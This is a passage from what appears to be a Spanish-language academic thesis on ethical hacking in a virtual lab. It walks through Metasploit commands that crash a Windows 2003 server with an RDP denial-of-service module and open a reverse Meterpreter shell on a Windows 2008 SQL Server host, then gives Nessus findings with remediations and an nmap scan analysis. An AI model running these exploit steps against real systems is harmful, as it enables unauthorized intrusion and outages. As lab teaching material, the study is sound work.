Information Disclosure
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http://www.nessus.org/plugins/index.php?view=single&id=10114
http://www.nessus.org/plugins/index.php?view=single&id=117886
http://www.nessus.org/plugins/index.php?view=single&id=22319
http://www.nessus.org/plugins/index.php?view=single&id=108761
http://www.nessus.org/plugins/index.php?view=single&id=69482
http://www.nessus.org/plugins/index.php?view=single&id=10144
http://www.nessus.org/plugins/index.php?view=single&id=10394
http://www.nessus.org/plugins/index.php?view=single&id=10785
http://www.nessus.org/plugins/index.php?view=single&id=26917
http://www.nessus.org/plugins/index.php?view=single&id=11011
http://www.nessus.org/plugins/index.php?view=single&id=100871
http://www.nessus.org/plugins/index.php?view=single&id=106716
http://www.nessus.org/plugins/index.php?view=single&id=11219
http://www.nessus.org/plugins/index.php?view=single&id=19506
http://www.nessus.org/plugins/index.php?view=single&id=110723
http://www.nessus.org/plugins/index.php?view=single&id=11936
http://www.nessus.org/plugins/index.php?view=single&id=66334
http://www.nessus.org/plugins/index.php?view=single&id=66173
http://www.nessus.org/plugins/index.php?view=single&id=56984
http://www.nessus.org/plugins/index.php?view=single&id=45410
http://www.nessus.org/plugins/index.php?view=single&id=10863
http://www.nessus.org/plugins/index.php?view=single&id=70544
http://www.nessus.org/plugins/index.php?view=single&id=21643
http://www.nessus.org/plugins/index.php?view=single&id=57041
http://www.nessus.org/plugins/index.php?view=single&id=51891
http://www.nessus.org/plugins/index.php?view=single&id=96982
http://www.nessus.org/plugins/index.php?view=single&id=25220
http://www.nessus.org/plugins/index.php?view=single&id=104743
http://www.nessus.org/plugins/index.php?view=single&id=64814
http://www.nessus.org/plugins/index.php?view=single&id=10287
http://www.nessus.org/plugins/index.php?view=single&id=20094
http://www.nessus.org/plugins/index.php?view=single&id=10150

INFO N/A 10940 Windows Terminal Services Enabled

Fuente: Elaboracién propia

5.3. Fase lll: Explotacion

Para esta fase se utilizo la herramienta METASPLOIT, el cual viene en el kali Linux. Para
realizar una representacion de los que significa la explotacién, se realizé un ataque al
servidor Windows 2003 del cual ya se tiene identificado en las fases anteriores los puertos

y servicios habilitados, ademas las vulnerabilidades que presenta este equipo.
e Equipo: Windows server megatron (2003)
e Vulnerabilidad: rdp (tiene habilitado el acceso remoto de escritorio)
e Puerto: 3389
e Servicio: rdp remoto desktop protocol
e Comando: use auxiliary/dos/windows/rdp/ms12_020 maxchannelids
Se ingresa al kali Linux para poder abrir un Shell y ejecutar el siguiente comando

cd /usr/share/metasploit-framework, con ello se tiene la siguiente ventana

root@kali: /usr/share/metasploit-frame

File Edit View Search Terminal Help
:/usr/share/metasploit-framework# I

Figura 65. Ingreso al FrameWork Metasploit
Fuente: elaboracién propia

Se ejecuta el comando para ingresar a una de las consolas msfconsole

:/usr/share/metasploit-framework# msfconsole

Figura 66. Ingreso a la consola del Metasploit
Fuente: elaboracién propia
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El cual despliega

:/usr/share/metasploit-framework# msfconsole

EXPLOIT

RECON

PAYLOAD

Figura 67. Consola inicial de Metasploit
Fuente: elaboracién propia

Se puede observar que a la fecha se tiene un total de 1795 exploit los cuales seran

utilizados para ejecutar los ataques

PAYLOAD

+ == --—[ 1795 explolts - 1019 aux111ary - 310 post
+ -- --=[ 538 payloads - 41 encoders - 10 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymq

msf > i

Figura 68. Resumen de la cantidad de herramientas que contiene
Fuente: elaboracién propia
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Teniendo en cuenta los pardmetros anteriores se precedera a ejecutar el ataque

empleando el siguiente comando:

) > use auxiliary/dos/windows/rdp/ms12 020 maxch

msf exploit(
annelids
msf auxiliary( Y |

Figura 69. Seleccion del Exploit a utilizar
Fuente: elaboracién propia

Para observar los pardmetros que se tiene que ingresar se ejecuta el comando show
options
auxiliary( ) = show options
Module options (auxiliary/dos/windows/rdp/msl2 020 maxchannelids):
Mame  Current Setting Required Description

The target address
The target port (TCP)

Figura 70. Pardmetros que solicita el Exploit
Fuente: elaboracién propia

Se puede notar que se tiene que brindar el equipo objetivo y el puerto, por ello para poder
asignar la ip objetivo se usa el comando set RHOST 192.168.231.3 y el comando set

RPORT 3390.

msf auxiliary( >]set RHOST 192.168.231.3

RHOST => 192.168.231.3
msf auxiliary( 3
[ —

msf auxiliary( >]set RPORT 3389

RPORT => 3389
msf auxiliary(

Figura 71. Asignacion de parametros del Exploit
Fuente: elaboracién propia

Ahora con el comando show options se tendra
auxiliary( ) = show options

Module options (auxiliary/dos/windows/rdp/msl2 020 maxchannelids):

Name  Current Setting Required Description

731.14¢€ 5 The target address
RPORT 338 The target port (TCP)

230

Figura 72. Validacion de los parametros asignados al Exploit
Fuente: elaboracién propia

Se emplea el comando run
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msf auxiliary( ) > run

[*] 192.168.231.3 :3389 - 192.168.231.3 :3389 - Sending MS12-020 Microf
ktop Use-After-Free DoS

[*] 192.168.231.3 :3389 - 192.168.231.3 :3389 - 210 bytes sent

[*] 192.168.231.3 :3389 - 192.168.231.3 :3389 - Checking RDP status...
[+] 192.168.231.3 :3389 - 192.168.231.3 :3389 seems down

[*] Auxiliary module execution completed

Figura 73. Ejecucion del Exploit
Fuente: elaboracién propia

En el equipo victima se obtendrda un pantallazo azul, caido del servidor; esto es una
muestra de la denegacién de servicio que se puede generar aprovechando una

vulnerabilidad.

(] SERVER 2003 megatron

Se ha encontrado un problema v windows ha sido apagado para evitar dafios al equd
pa.

ROPWD
PAGE_FAULT_IN_NONPAGED_AREA
es la primer ue v pantalla de error de

a pantalla aparece otra

tamente instalado

ahilitar g o= a0 e F8 para s
de inis ; , 4 continuacion, = Cione modo a p

Address F3AZ50a1 base at FiA , Datestamp 42435aed

Figura 74. Resultado de la ejecucién, denegacion del servicio
Fuente: elaboracidon propia

5.4. Fase IV: Post explotacion

Para realizar la representacién de la post explotacion se consideré las siguientes

actividades:

e Infectar y/o habilitar una puerta trasera (BackDoor) en el equipo victima y/o definido como
objetivo, esto permite crear un nexo por parte del atacante para poder conectarse cuando

lo crea conveniente, sin autorizacion por parte de quien administra la red.

¢ Realizar un proceso para escalar privilegios en el sistema victima.
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¢ Descubrir otros equipos y hacer el volcado de contrasefias tanto de la memoria RAM y

del sistema.
Para ello se tendran los siguientes parametros
= Equipo victima: Windows server (2008)
= Equipo atacante: Kali Linux
= Vulnerabilidad: NETAPI o el MSSQL
= Puerto: 3389
= Servicio: MsSql

Para ello se ingresa al kali Linux y la herramienta METASPLOI, se ejecuta la busquedas

de los exploit relacionados a mssq|

msf > search mssql

Matching Modules

Disclosure Date

Description

auxiliary/admin/mssql/mssql_enum
Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql enum domain accounts
Microsoft SQL Server SUSER SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql enum domain accounts sqli
Microsoft SQL Server SQLi SUSER SNAME Windows Domain Account Enumeration
Figura 75. Blsqueda del Exploit mssql
Fuente: elaboracidén propia

De las alternativas se escoge el exploit: exploit/Windows/mssql/mssql_payload

use exploit/windows/mssql/mssql payload

exploit( ) =

Figura 76. Seleccion del EXPLOIT y PAYLOAD a utilizar
Fuente: elaboracion propia

Con el comando show options se podra visualizar los parametros que se le tendra que
proporcionar luego se le asignara el payload que empleara y también los datos del host

objetivo, la contrasefia del servidor sq|l.

Finalmente, Como se ha seleccionado un PAYLOAD reverso se tendra que proporcionar

los datos de la maquina atacante tales como direccion IP y puerto.
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msf exploit( >|set rhost 192.168.231.5

rhost => 192.168.231.5
msf exploit(

msf exploit(
PASSWORD => password

msf exploit(

msf exploit(

LHOST => 192.168.231.142

msf exploit(

LPORT => 4443

msf exploit( ) > I

Figura 77. Asignacion de parametros solicitados
Fuente: elaboracién propia

Ahora se procede a lanzar el ataque mediante el comando exploit

exploit( ) > exploit

*] Started reverse TCP handler on 192.168.231.5 :4443

] 192.168.231.143:1433 Command Stager progress .47% done (1499/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .93% done (2998/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .40% done (4497/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .86% done (5996/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .33% done (7495/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .80% done (8994/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .26% done (10493/102246 bytes)
192.168,231.143:1433 - Command Stager progress - .73% done (11992/102246 bytes)
192.168.231.143:1433 - Command Stager progress - .19% done (13491/102246 bytes)
192.168.231.143:1433 - Command Stager progress - 4.66% done (14990/102246 bytes)
192.168.231.143:1433 - Command Stager progress - - done (16489/102246 bytes)
192.168.231.143:1433 Command Stager progress - .59% done (17988/102246 bytes)

Flgura 78. Ejecucion del EXPLOIT y PAYLOAD
Fuente: elaboracion propia

Luego de unos minutos de lanzar el ataque abre una sesidon metepreter, el cual indica que
se tiene el control de la maquina victima mediante una terminal (ventana de comandos) tal

como se muestra a continuacion:

192.168.231.143:1433 - Command Stager progress - 99.59% done (101827/102246 by
192.168.231.143:1433 - Command Stager progress - 100.00% done (102246/102246 by

!

[

[*] Sending stage (179779 bytes) to 192.168.231.143

[*] Meterpreter session 1 opened (192.168.231.5 :4443 -> 192.168.231.143:49164) at
9-02-24 13:40:19 -0500

meterpreter > I

Figura 79. Resultados de la explotacidn, obtencion de una SHELL
Fuente: elaboracién propia

Se procede a ejecutar comandos de Windows server 2008 y Sql Server 2008 ya que se

estd en la consola de los sistemas antes referidos, se utiliza el comando sysinfo, el cual

muestra que el Shell pertenece al Windows server 2008.
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meterpreter > sysinfo

Computer : WIN-CI1SH40HKHN

0sS : Windows 2008 (Build 6001, Service Pack 1)
Architecture : X86

System Language : es ES
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Figura 80. Control remoto de la maquina hackeada
Fuente: elaboracion propia

Otro comando para listar los procesos

meterpreter > ps

Process List

Name Arch Session User
[System Process]
System
424 SMSS.Eexe
452 1508 ToZTm.exe x86 0 NT AUTHORITY\Ser
ws\SERVIC~2\NETWOR~1\AppData\Local\Temp\ToZTm.exe
492 480 CSrss.exe
536 528 CSrss.exe
544 480 wininit.exe
576 528 winlogon.exe
624 544 services.exe
636 544 lsass.exe
644 544 lsm.exe
688 576 LogonUI.exe
808 624 svchost.exe
Figura 81. Ejecucion de comando sobre la maquina victima
Fuente: elaboracién propia

Como se puede ver se puede realizar todas las acciones sobre una maquina Windows
desde una terminal de kali Linux; dependiendo del objetivo que se busca (sustraer
informacién, generar una denegacién de servicio, instalacion de puertas traseras, etc) y el

grado de habilidad del atacante se podra pos explotar.
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6. Discusion

CAPITULO VI

En este apartado se analiza los recursos tecnolOgicos y estrategias que permitieron la

construccion de la red virtual y la implementacion del hacking ético. Ademas, se

identifican y evaltan los eventos registrados en materia de seguridad informatica y los

mecanismos para atenuar dichos eventos.

6.1. Identificacion de las herramientas y estrategias

6.1.1. Para la construccion de la red virtual

Para la el disefio y construccion del escenario virtual se emplearon estrategias

(metodologia) que permitié tener éxito en esta tarea, del mismo modo herramientas

tecnolégicas conforme se detalla a continuacion:

Metodologia: se emple6 la metodologia de Cisco PPDIOO, el enfoque principal de
esta metodologia es definir las actividades minimas requeridas, por tecnologia y
complejidad de red, que permitan la instalacion y operacién exitosa de las

tecnologias.

Virtualizador: se utiliz6 VMWare player como tecnologia de virtualizacion, esto
como consecuencia de realizar una comparacion con otras herramientas ofrece

mayor performance.

Equipo anfitrién: viene a ser el ordenador sobre el cual se logré construir la red
virtual; para el caso se empled una laptop marca ASUS - X555UQ, memoria Ram

de 8 GB y 2 GB de video independiente entre sus caracteristicas principales.

Enrutador: se empleé el servidor Monowall, este cumplié la funcién de enrutador y

firewall, con el cual se logro tener tres segmentos de red (LAN DMZ Y WAN).

Servidor: se empledé Windows server 2008 para el servidor de base de datos,
Windows server 2003 para el servidor de archivos, Metasploitables 2 (servidor
Ubuntu) para el servidor de correo y web, FreeNas (servidor Unix) como servidor

de web y archivos.

Terminales: para ello se empleé Windows 7, Windows XP y Ubuntu.

6.1.1. Para la implementacion del hacking ético

Para la implementacion del hacking ético se tuvieron las siguientes variables:

Estrategia: se tomd en cuenta fases generales (recoleccion de informacion,

analisis de vulnerabilidades, explotacion y post-explotacién) que establece el
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hacking ético, esto transversal a las distintas metodologias que existe en la
actualidad (OSSTMM, ISSAF y OWASP).

¢ Herramientas: respecto a las herramientas empleadas se utilizé una gran variedad
de herramientas para cumplir con las actividades en cada una de las fases del

hacking ético, los cuales estan desarrollados en los anexos.

6.2. Andlisis de vulnerabilidades

En esta seccidn se analiza las distintas vulnerabilidades que se logré identificar después
de la implementacion del hacking ético; cada vulnerabilidad tiene un nombre, un
identificador, el grado de severidad o impacto, el puerto asociado a la debilidad, resumen,
descripcién y la(s) alternativa(s) para subsanar dicha vulnerabilidad.

Tabla 14.
Vulnerabilidad Microsoft Windows SMB2 _Smb?2

Microsoft Windows SMB2
_Smb2ValidateProviderCallback()

Vulnerabilidad:

Severidad: Alto
Puerto: TCP/445
CVE-ID: 40887 - MS09-050
El codigo arbitrario se puede ejecutar en el host remoto a
Resumen: )
través del puerto SMB.
El host remoto ejecuta una version de Microsoft Windows
Vista o Windows Server 2008 que contiene una
Descripcion: Vulnerabilidad en su implementacién SMBv2. Un atacante
puede explotar esta falla para deshabilitar el host remoto o
para Ejecutar codigo arbitrario en él.
» Microsoft ha lanzado un parche para Windows Vista y
Solucion:

Windows Server 2008.

Fuente: Elaboracion propia

Tabla 15.
Vulnerabilidad Security Update for Microsoft Windows SMB Server

Security Update for Microsoft Windows SMB Server
(ETERNALBLUE)

Vulnerabilidad:
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Severidad:

Puerto:

CVE-ID:

Resumen:

Descripcion:

Solucién:

Alto
TCP/445
97833 - MS17-010

El host remoto de Windows se ve afectado por mdultiples

vulnerabilidades.

Existen multiples vulnerabilidades de ejecucion remota de
cbédigo en Microsoft Server Message Block 1.0 (SMBv1)
debido a Manejo inadecuado de ciertas solicitudes. Un
atacante remoto no autenticado puede explotar estas
vulnerabilidades, a través de un paquete especialmente

disefiado, para ejecutar cédigo arbitrario.

Existe una vulnerabilidad de divulgacion de informacién en
Microsoft Server Message Block 1.0 (SMBv1) debido a un
error manejo de ciertas solicitudes. Un atacante remoto no
autenticado puede explotar esto, a través de un paquete
especialmente disefiado, para revelar informacion sensible.
(CVE-2017-0147)

Es un gusano que utiliza siete vulnerabilidades del Grupo
Ecuacion. Petya es un programa de ransomware que primero
utiliza CVE-2017-0199, una vulnerabilidad en Microsoft
Office, y luego se propaga a través de ETERNALBLUE.

Microsoft ha lanzado un conjunto de parches para Windows
Vista, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, y
2016. Microsoft también ha lanzado parches de emergencia
para sistemas operativos Windows que ya no son

compatible, incluyendo Windows XP, 2003 y 8.

Para los sistemas operativos de Windows no compatibles,
por ejemplo, Windows XP, Microsoft recomienda que los

usuarios interrumpan El uso de SMBv1.

Adicionalmente, US-CERT recomienda que los usuarios
bloqueen SMB directamente bloqueando el puerto TCP 445
en todos los dispositivos de limite de red. Para pymes sobre
la APl de NetBIOS, bloquee los puertos TCP 137/139 y los
puertos UDP 137/138 en todos los dispositivos de limite de

red.

Fuente: Elaboracién propia
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Tabla 16.

Vulnerabilidad Vulnerabilities in Remote Desktop Could Allow Remote

Vulnerabilidad:

Vulnerabilities in Remote Desktop Could Allow Remote

Code Execution

Severidad:
Puerto:

CVE-ID:

Resumen:

Descripcion:

Solucioén:

MEDIO
TCP/3389
58435 - MS12-020

El host remoto de Windows podria permitir la ejecucion de

codigo arbitrario.

La vulnerabilidad se debe a la forma en que RDP accede a un
objeto en la memoria que no ha inicializado correctamente o
se ha eliminado. Si se ha habilitado RDP en el sistema
afectado, un atacante remoto no autenticado podria
aprovechar esta vulnerabilidad para hacer que el sistema
ejecute codigo arbitrario al enviar una secuencia de RDP

especialmente disefiado paquetes para ello.

Este complemento también busca una vulnerabilidad de

denegacion de servicio en Microsoft Terminal Server.

Tenga en cuenta que esta secuencia de comandos no detecta
la vulnerabilidad si el permitir conexiones solo desde
computadoras que ejecutan la configuracion de Escritorio
remoto con autenticacion de nivel de red esta habilitada o la
capa de seguridad esta configurada en SSL (TLS 1.0) en el

host remoto.

Microsoft ha lanzado un conjunto de parches para Windows
XP, 2003, Vista, 2008, 7 y 2008 R2.

Se debe tener en cuenta que, se requiere un contrato de
soporte extendido con Microsoft para obtener el parche para

esta vulnerabilidad para Windows.

Fuente: Elaboracion propia

Tabla 17.

Vulnerabilidad SSL Version 2 and 3 Protocol Detection

Vulnerabilidad:

SSL Version 2 and 3 Protocol Detection
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Severidad:

Puerto:

CVE-ID:

Resumen:

Descripcion:

Solucién:

MEDIO
TCP/1433
20007

El servicio remoto encripta el trafico utilizando un protocolo

con debilidades conocidas.

El servicio remoto acepta conexiones cifradas utilizando SSL
2.0y /o SSL 3.0. Estas versiones de SSL son afectadas por

varios defectos criptograficos, incluyendo:
- Un esquema de relleno inseguro con cifrados CBC.

- Esquemas inseguros de renegociacion y reanudacion de

sesiones.

Un atacante puede explotar estas fallas para realizar ataques
de intermediarios 0 para descifrar comunicaciones entre el

servicio afectado y los clientes.

Aunque SSL/TLS tiene un medio seguro para elegir la version
mas alta del protocolo (para que estas versiones solo se
utilizaran si el cliente o el servidor no admiten nada mejor),
muchos navegadores web implementan esto de una manera
insegura que permite a un atacante degradar una conexion
(como en POODLE). Por tanto, es recomendable que estos

protocolos estén completamente desactivados.

NIST ha determinado que SSL 3.0 ya no es aceptable para las
comunicaciones seguras. A partir de la fecha de Ila
implementacion de PCI DSS v3.1 indica que cualquier version
de SSL no cumplira con la definicion de 'SSC' de PCI SSC.

Consultar la documentacion de la aplicacion para deshabilitar
SSL 2.0y 3.0.

Utilizar TLS 1.1 (con conjuntos de cifrado aprobados) o

superior en su lugar.

Fuente: Elaboracién propia
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Tabla 18.

Vulnerabildad Microsoft Windows Remote Desktop Protocol Server

Vulnerabilidad:

Microsoft Windows Remote Desktop Protocol Server Man-
in-the-Middle Weakness

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

Solucién:

MEDIO

TCP/3389

18405

Puede ser posible obtener acceso al host remoto.

La version remota del Servidor de protocolo de escritorio
remoto (Servicio de Terminal Server) es vulnerable a un man-
in-themiddle (MiTM) ataque. El cliente RDP no hace ningun
esfuerzo para validar la identidad del servidor al configurar
cifrado, un atacante con la capacidad de interceptar el trafico
del servidor RDP puede establecer el cifrado con el cliente y
servidor sin ser detectado. Un ataque MiTM de esta naturaleza
permitiria al atacante obtener cualquier informacién sensible

transmitida, incluyendo credenciales de autenticacion.

Esta falla existe porque el servidor RDP almacena una clave
privada RSA codificada en la biblioteca mstlsapi.dil. Algun
usuario local con acceso a este archivo (en cualquier sistema

Windows) puede recuperar la clave y usarla para este ataque.

- Forzar el uso de SSL como capa de transporte para este

servicio si es compatible.

- Seleccione la opcion Permitir conexiones solo desde
computadoras que ejecutan Escritorio remoto con

autenticacion de nivel de red configurado si esta disponible.

Tabla 19.

Fuente: Elaboracion propia

Vulnerabilidad SMB Signing not required

Vulnerabilidad:

SMB Signing not required

Severidad:

Puerto:

CVE-ID:

MEDIO

TCP/445

57608
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Resumen:

Descripcion:

Solucién:

La firma no es necesaria en el servidor SMB remoto.

La firma no es necesaria en el servidor SMB remoto. Un
atacante remoto no autenticado puede explotar esto para

realizar ataques de intermediarios contra el servidor SMB.

Hacer cumplir la firma de mensajes en la configuracion del
host. En Windows, esto se encuentra en la configuracién de
la politica Servidor de red de Microsoft: firmar comunicaciones
digitalmente (siempre). En Samba, la configuracion se llama

firma de servidor.

Fuente: Elaboracién propia

Tabla 20.

Vulnerabilidad SSL Certificate Cannot Be Trusted

Vulnerabilidad:

SSL Certificate Cannot Be Trusted

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

MEDIO

TCP/445

51192

El certificado SSL para este servicio no se puede confiar.

El certificado X.509 del servidor no se puede confiar. Esta
situacién puede ocurrir de tres formas diferentes, en las que
se puede romper la cadena de confianza, como se indica a

continuacion:

- Primero, la parte superior de la cadena de certificados
enviada por el servidor podria no descender de una autoridad
de certificacién publica conocida. Esto puede ocurrir cuando
la parte superior de la cadena es un certificado autenticado no
reconocido o cuando faltan certificados intermedios que
conectan la parte superior de la cadena de certificados con

una autoridad de certificacién publica conocida.

- Segundo, la cadena de certificados puede contener un
certificado que no es valido en el momento de la exploracion.
Esto puede ocurrir cuando el escaneo ocurre antes de una de
las fechas de "no antes" del certificado, o después de una de

las fechas de "no después de" del certificado.
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Solucién:

- Entercer lugar, la cadena de certificados puede contener una
firma que no coincide con la informacion del certificado o no
se pudo verificar. Las firmas incorrectas se pueden arreglar al
obtener el certificado con la firma incorrecta para que el emisor
vuelva a firmarlo. Las firmas que no se pudieron verificar son
el resultado de que el emisor del certificado haya usado un

algoritmo de firma que Nessus no admite 0 no reconoce.

Si el host remoto es un host pablico en produccion, cualquier
interrupcion en la cadena hace que sea mas dificil para los
usuarios verificar la autenticidad y la identidad del servidor
web. Esto podria hacer que sea mas facil llevar a cabo

ataques de hombre en el medio contra el host remoto.

Comprar o generar un certificado adecuado para este servicio.

Fuente: Elaboracién propia

Tabla 21.

Vulnerabilidad SSL Certificate Signed Using Weak Hashing Algorithm

Vulnerabilidad:

SSL Certificate Signed Using Weak Hashing Algorithm

Severidad:
Puerto:

CVE-ID:

Resumen:

Descripcion:

Solucion:

MEDIO
TCP/3389
35291

Se ha firmado un certificado SSL en la cadena de certificados

utilizando un algoritmo de hash débil.

El servicio remoto utiliza una cadena de certificados SSL que
se ha firmado con un algoritmo de hashing criptograficamente
débil (por ejemplo, MD2, MD4, MD5 o SHAL). Se sabe que
estos algoritmos de firma son vulnerables a los ataques de
colisién. Un atacante puede explotar esto para integrar otro
certificado con la misma firma digital, lo que permite a un

atacante hacerse pasar por el servicio afectado.

Tener en cuenta que los certificados en la cadena que estan

contenidos en la base de datos de Nessus.

Ponerse en contacto con la autoridad de certificacion para que

se vuelva a emitir el certificado.

Fuente: Elaboracién propia

91



Tabla 22.

VulnerabilidadBind Shell Backdoor Detection

Vulnerabilidad:

Bind Shell Backdoor Detection

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

Solucién:

ALTO

TCP/1524

51988

El host remoto puede haber sido comprometido.

Un shell escucha en el puerto remoto sin necesidad de
autenticaciéon. Un atacante puede usarlo conectandose al

puerto remoto y enviando comandos directamente.

Verifique si el host remoto ha sido comprometido y vuelva a

instalar el sistema si es necesario.

Fuente: Elaboracion propia

Tabla 23.

Vulnerabilidad Debian OpenSSH/OpenSSL

Vulnerabilidad:

Debian OpenSSH/OpenSSL Package Random Number

Generator Weakness

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

ALTO

TCP/22

32314

Las claves de host SSH remotas son débiles.

La clave de host SSH remota se ha generado en un sistema
Debian o Ubuntu que contiene un error en el generador de

nameros aleatorios de su biblioteca OpenSSL.

El problema se debe a que un empaquetador de Debian
elimina casi todas las fuentes de entropia en la versién remota
de OpenSSL.

Un atacante puede obtener facilmente la parte privada de la
clave remota y usarla para configurar descifrar la sesion

remota o configurar un hombre en el ataque central.

92



Considere que todo el material criptografico generado en el
Solucioén: host remoto sea estimable. En particular, todo el material clave

de SSH, SSL y OpenVPN se debe volver a generar.

Fuente: Elaboracion propia

Tabla 24.
Vulnerabilidad NFS Exported Share Information Disclosure

Vulnerabilidad: NFS Exported Share Information Disclosure

Severidad: ALTO
Puerto: TCP/2049
CVE-ID: 11356

Es posible acceder a los recursos compartidos de NFS en el
Resumen:

host remoto.

Al menos uno de los recursos compartidos de NFS exportados

o por el servidor remoto podria ser montado por el host de

Descripcion: .

exploracion. Un atacante puede aprovechar esto para leer (y

posiblemente escribir) archivos en un host remoto.

Configure NFS en el host remoto para que solo los hosts
Solucion: autorizados puedan montar sus recursos compartidos

remotos.

Fuente: Elaboracién propia

Tabla 25.
Vulnerabilidad Unix Operating System Unsupported Version Detection

Vulnerabilidad:  Unix Operating System Unsupported Version Detection

Severidad: ALTO
Puerto: TCP/O
CVE-ID: 33850

El sistema operativo que se ejecuta en el host remoto ya no
Resumen: .

es compatible.

Segun su numero de version autoinformado, el sistema
Descripcién: operativo Unix que se ejecuta en el host remoto ya no es

compatible.
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Solucién:

La falta de soporte implica que el proveedor no lanzard nuevos
parches de seguridad para el producto. Como resultado, es

probable que contenga vulnerabilidades de seguridad.

Actualizar a una version del sistema operativo Unix que

actualmente es compatible.

Fuente: Elaboracion propia

Tabla 26.

Vulnerabilidad UnrealIRCd Backdoor Detection

Vulnerabilidad:

UnreallRCd Backdoor Detection

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

Solucién:

ALTO

TCP

46882

El servidor IRC remoto contiene una puerta trasera.

El servidor IRC remoto es una version de UnreallRCd con una
puerta trasera que permite a un atacante ejecutar cédigo

arbitrario en el host afectado.

Volver a descargar el software, verifiquelo utilizando las
sumas de comprobacion MD5 / SHAL publicadas y vuelva a

instalarlo.

Fuente: Elaboracion propia

Tabla 27.

Vulnerabilidad VNC Server "password' Password

Vulnerabilidad:

VNC Server 'password' Password

Severidad:

Puerto:

CVE-ID:

Resumen:

ALTO
TCP/5900
61708

Un servidor VNC que se ejecuta en el host remoto esti

protegido con una contrasefia débil.
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Descripcion:

Solucioén:

El servidor VNC que se ejecuta en el host remoto esta
protegido con una contrasefia débil. Nessus pudo iniciar
sesion utilizando la autenticacién VNC y una contrasefia de
"contrasefia". Un atacante remoto no autenticado podria

explotar esto para tomar el control del sistema.

Asegurar el servicio VNC con una contrasefia segura.

Fuente: Elaboracion propia

Tabla 28.

Vulnerabilidad Unsupported Web Server Detection

Vulnerabilidad:

Unsupported Web Server Detection

Severidad:
Puerto:
CVE-ID:

Resumen:

Descripcion:

Solucién:

ALTO
TCP/5900
61708

El servidor web remoto esta obsoleto / no es compatible.

Segun su version, el servidor web remoto esta obsoleto y ya

no es mantenido por su proveedor o proveedor.

La falta de soporte implica que el proveedor no lanzara
nuevos parches de seguridad para el producto. Como

resultado, puede contener vulnerabilidades de seguridad.

Eliminar el servicio si ya no es necesario. De lo contrario,
actualizar a una version mas nueva si es posible o cambie a

otro servidor.

Fuente: Elaboracion propia

6.3. Andlisis de los eventos relacionados ala seguridad informéatica

En esta seccidn se evalla y explica los eventos relacionados a la seguridad informatica

gue se generaron sobre el escenario virtual; como se inicia, el intercambio de paquetes y

la forma como se logra vulnerar los medios tecnolégicos.

6.3.1. Ataques de escaneo de puertos y servicios

e Ataque con Nmap o Zenmap

La herramienta permiti6 personalizar los comandos ejecutados para su respectivo

analisis de puertos y servicios disponibles.
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Con el comando nmap 192.168.231.100, se identificaron los puertos habilitados y

fueron detectados con sus respectivos servicios, tal como muestra a continuacion.

Zenmap o e O
Scan Tools Profile Help
Target: 1192.168.231.100 v | Profile: IReguLarscan v | |Scan

Command: Inmap 192.168.231.100

Hosts | Services | Nmap Qutput | Ports / Hosts | Topology Host Details = Scans
05 |Host |nmap 192.168.231.100 = | Details |

PRI PRI Nmap scan report for 192.168.231.100 C: .

Host is up (0.00020s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tecp open ftp
22/tecp open ssh
23/1tc open _telnet
|25/tcp open smtp] COITEO
53/tcp open domaln
[so/tcp  open http] web
111/tcp open rpchind
139/tcp open nethios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell

Figura 82. Ejecucion de herramienta Nmap

Fuente: elaboracion propia

Resultados obtenidos

Los puertos abiertos que se detectaron dentro del servidor 192.168.231.100, indican

la presencia de servicios de correo electrénico y web en los protocolos:
= SMTP. - Servicio de salida de correo electronico a través del puerto 25.

= HTTP. - Servicio de El Protocolo de transferencia de hipertexto a través del puerto
80.

Adicionalmente fue descubierta la presencia del protocolo ftp, ssh, telnet y entre otros.
Para un andlisis mas profundo, se implement6 el comando nmap —p 25 -T4 -A —v

192.168.231.100 con los siguientes parametros aplicados:

= -p 25.- Aplicacién de ataque al puerto 25 (SMTP).

= -T4.- Permite sincronizar las plantillas de temporizacion.
= -A.- Ejecuta una exploracion agresiva al equipo atacado.
= -v.- Muestra la version de Nmap.

En la Figura se muestran los resultados obtenidos, los cuales se describen a

continuacion:
= La direccion MAC del servidor: 00:0C:29:89:F7:F1.

=  Kernel: Linux 2.6.33
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= E| MTA del correo electrénico: Postfix

Zenmap e ® O
Scan Tools Profile Help

Target: |192.168.231.100 v | Profile: | v | |Scan|

Comnmnd:'nnmp—p25—T4—A—V19116&23LlOO

Hosts || Services | Nmap Output | Ports / Hosts  Topology Host Details | Scans
0S  Host |nmap—p25—T4—A—v19216&231100 :| |Demﬂﬂ

4y 192.168.231. Nmap scan report for 192.168.231.1060 *

Host is up (©.00029s latency).

PORT  STATE SERVICE VERSION .- fiPo de correo
25/tcp open smip IPostfixlsmtpd
| smtp-commands: metasploitable.localdomain,

Warning: O0SScan results may be unreliable
because we could not find at least 1 open and 1
closed port
Device type: general purposd
Running: Linux 2.6.X
[0S CPE: cpe:/o0:Linux:inux Kernel:2.6| Versién de
0S details: Linux 2.6.9 - 2.6.33 Linux
Uptime gquess: 0.049 days (since Thu Jun 13
[—— 17:89:30 2019)

Network Distance: 1 hop

| Filter Hosts | TCP Seauence Prediction: Difficultv=287 (Good v

Figura 83. Analisis de puerto 25 a través de Nmap
Fuente: elaboracion propia

En la maquina servidor sujeto a los ataques, se implementé la herramienta Wireshark,
gue permiti6 monitorear los eventos suscitados. se puede verificar el envio de un
segmento SYN desde el equipo atacante de la red (192.168.231.100); en primera
instancia se recibi6 una respuesta RST, tratando de impedir la comunicacién y que,
ésta se corte de manera abrupta. A continuacion, se repitio el envio del segmento SYN
y en este caso se obtuvo como respuesta un ACK, permitiendo el acceso a la
